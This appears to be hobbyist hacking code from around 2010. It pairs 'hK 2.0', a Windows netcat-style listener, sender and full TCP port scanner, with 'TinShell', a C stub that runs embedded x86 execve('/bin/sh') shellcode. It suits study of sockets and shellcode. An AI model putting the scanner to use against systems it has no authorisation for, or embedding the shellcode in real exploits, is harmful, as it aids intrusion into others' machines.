hK vl 31337
y
hK vc 127.0.0.1 31337

#include <time.h>       //Hora
 
#include <stdio.h>      //Funciones basicas entrada/salida
 
#include <string.h>     //StrCmp
 
#include <stdlib.h>     //Exit y otras
 
#include <winsock2.h> 	//Socket, Connect...
 
 
 
struct sockaddr_in host, client;//Declaraciones
 
int a=sizeof (struct sockaddr);
 
char buffer [1024];
 
int cont = 2;
 
SOCKET newsock;
 
SOCKET sockfd;
 
int k = 0;
 
 
 
int listens (int port); //Funciones
 
int conect (char *IP, int port);
 
int scan (char *IP);
 
 
 
int times ()    //Esta funcion escribira la fecha en pantalla...
 
{
 
	time_t now=time (0);
 
	struct tm *ahora;
 
	char buffer [40];
 
	ahora= (struct tm*)localtime ((const time_t*)&now);
 
	strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
 
	printf ("%s   ", buffer);
 
	return 0;
 
}
 
 
 
int finalizar (int state)       //Esta funcion detendra el programa en caso de problemas...
 
{
 
	closesocket (sockfd);
 
	if (state == 1)
 
	{
 
		printf ("Ocurrio un error en tiempo de ejecucion...\n");
 
		exit (1);
 
	}
 
	else exit (0);
 
}
 
 
 
int help ()     //Mal uso de la linea de comandos...
 
{
 
	printf ("Use:\thK <options> <target_ip // port> [port]\n");
 
	printf ("\t-l // -c // -z [Listen // Connect // Scan]\n\n");
 
	printf ("\t./hK -l <port>\n");
 
	printf ("\t./hK -c <target_ip> <port>\n");
 
	printf ("\t./hK -z <target_ip>\n\n");
 
	printf ("Exp:\t./hK -l 31337\n");
 
	printf ("\t./hK -c 192.168.0.1 31337\n");
 
	printf ("\t./hK -z 192.168.0.1\n\n");
 
	exit (1);
 
}
 
 
 
int main (int argc, char *argv [])
 
{
 
	WSADATA wsa;
 
	WSAStartup(MAKEWORD(2,2),&wsa);
 
	time_t now=time (0);
 
	struct tm *ahora;
 
	char hora [40];
 
	ahora=localtime ((const time_t*)&now);
 
	strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
 
	printf ("hK 2.0 - By Sagrini (2010) - %s\n", hora);     //Esto escribira la presentacion.
 
 
 
	if (argc < 3 || argc > 4) help ();      //Diferentes opciones y mal uso de linea de comandos.
 
	if (strlen (argv [1]) != 2) help ();
 
	if (argv [1][0] != '-') help ();
 
 
 
	if (argv [1][1] == 'l' && argv [2] == NULL) help ();
 
	if (argv [1][1] == 'c' && argv [3] == NULL) help ();
 
	if (argv [1][1] == 'z' && argv [2] == NULL) help ();
 
 
 
	if (argv [1][1] == 'l' && argv [3] != NULL) help ();
 
	if (argv [1][1] == 'z' && argv [3] != NULL) help ();
 
 
 
	if (argv [1][1] == 'l') listens (atoi (argv [2]));
 
	if (argv [1][1] == 'c') conect (argv [2], atoi (argv [3]));
 
	if (argv [1][1] == 'z') scan (argv [2]);
 
 
 
	return 0;
 
}
 
 
 
int listens (int port) //Esta funcion esperara una conexion y printara todo lo que reciba...
 
{
 
	if ((sockfd=socket (2, 1, 0))==1) finalizar (1); 
 
	host.sin_port=htons(port);
 
	host.sin_family=AF_INET;
 
	host.sin_addr.s_addr=0;
 
	memset (host.sin_zero, 0, 8);
 
 
	if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1) finalizar (1);
 
	if(listen(sockfd,5)==-1) finalizar (1);
 
 
 
	if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1) finalizar (1);
 
	times ();
 
	printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
	closesocket (sockfd);
 
 
 
	cont=recv (newsock, buffer, 1024, 0);
 
	while (cont>1)
 
	{
 
		buffer [cont-1]='\0';
 
		printf ("RECV %d bytes: %s \n", cont, buffer);
 
		cont=recv (newsock, buffer, 1024, 0);
 
	}
 
	closesocket (newsock);
 
	closesocket (sockfd);
 
 
 
	printf ("Finishing connection with %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
	finalizar (0);
 
}
 
 
 
int conect (char *IP, int port) //Se conecta a una IP y a su puerto determinado para mandar datos...
 
{
 
	if ((sockfd=socket (2, 1, 0))==1) finalizar (1);
 
	host.sin_port=htons(port);
 
	host.sin_family=AF_INET;
 
	host.sin_addr.s_addr=inet_addr (IP);
 
	memset (host.sin_zero, 0, 8);
 
 
 
	if((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1) finalizar (1);
 
	times ();
 
	printf ("Got connection with %s:%d\n", inet_ntoa (host.sin_addr), ntohs (host.sin_port));
 
 
 
	do
 
	{
 
		fgets (buffer, 1024, stdin);
 
		cont=send (sockfd, buffer, strlen (buffer), 0); 
 
	}
 
	while (cont>1);
 
	closesocket (sockfd);
 
	printf ("Finishing connection with %s:%d\n\n", inet_ntoa (host.sin_addr), ntohs (host.sin_port));
 
	finalizar (0);
 
}
 
 
 
int scan (char *IP) //Sencillo escaner de puertos.
 
{
 
	host.sin_addr.s_addr=inet_addr (IP);
 
	host.sin_family=AF_INET;
 
	memset (host.sin_zero, 0, 8);
 
	for (cont = 0; cont < 65535; cont ++)
 
	{
 
		if ((sockfd=socket (2, 1, 0))==1) finalizar (1);
 
		host.sin_port = htons (cont);
 
		if (connect (sockfd, (struct sockaddr*)&host, sizeof (host)) != -1)
 
		{
 
			printf ("Port %d open\n", cont);
 
			k++;
 
		}
 
		else 	printf ("Port %d close\n", cont);
 
		closesocket (sockfd);
 
	}
 
	if (k == 0) printf ("All ports closed...\n");
 
	else printf ("%d port(s) open(s)...\n", k);
 
	finalizar (0);
 
}
 
 

#include <stdio.h>
#include <string.h> 
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
	printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
	(*(void(*)()) code)();
	return 0;
}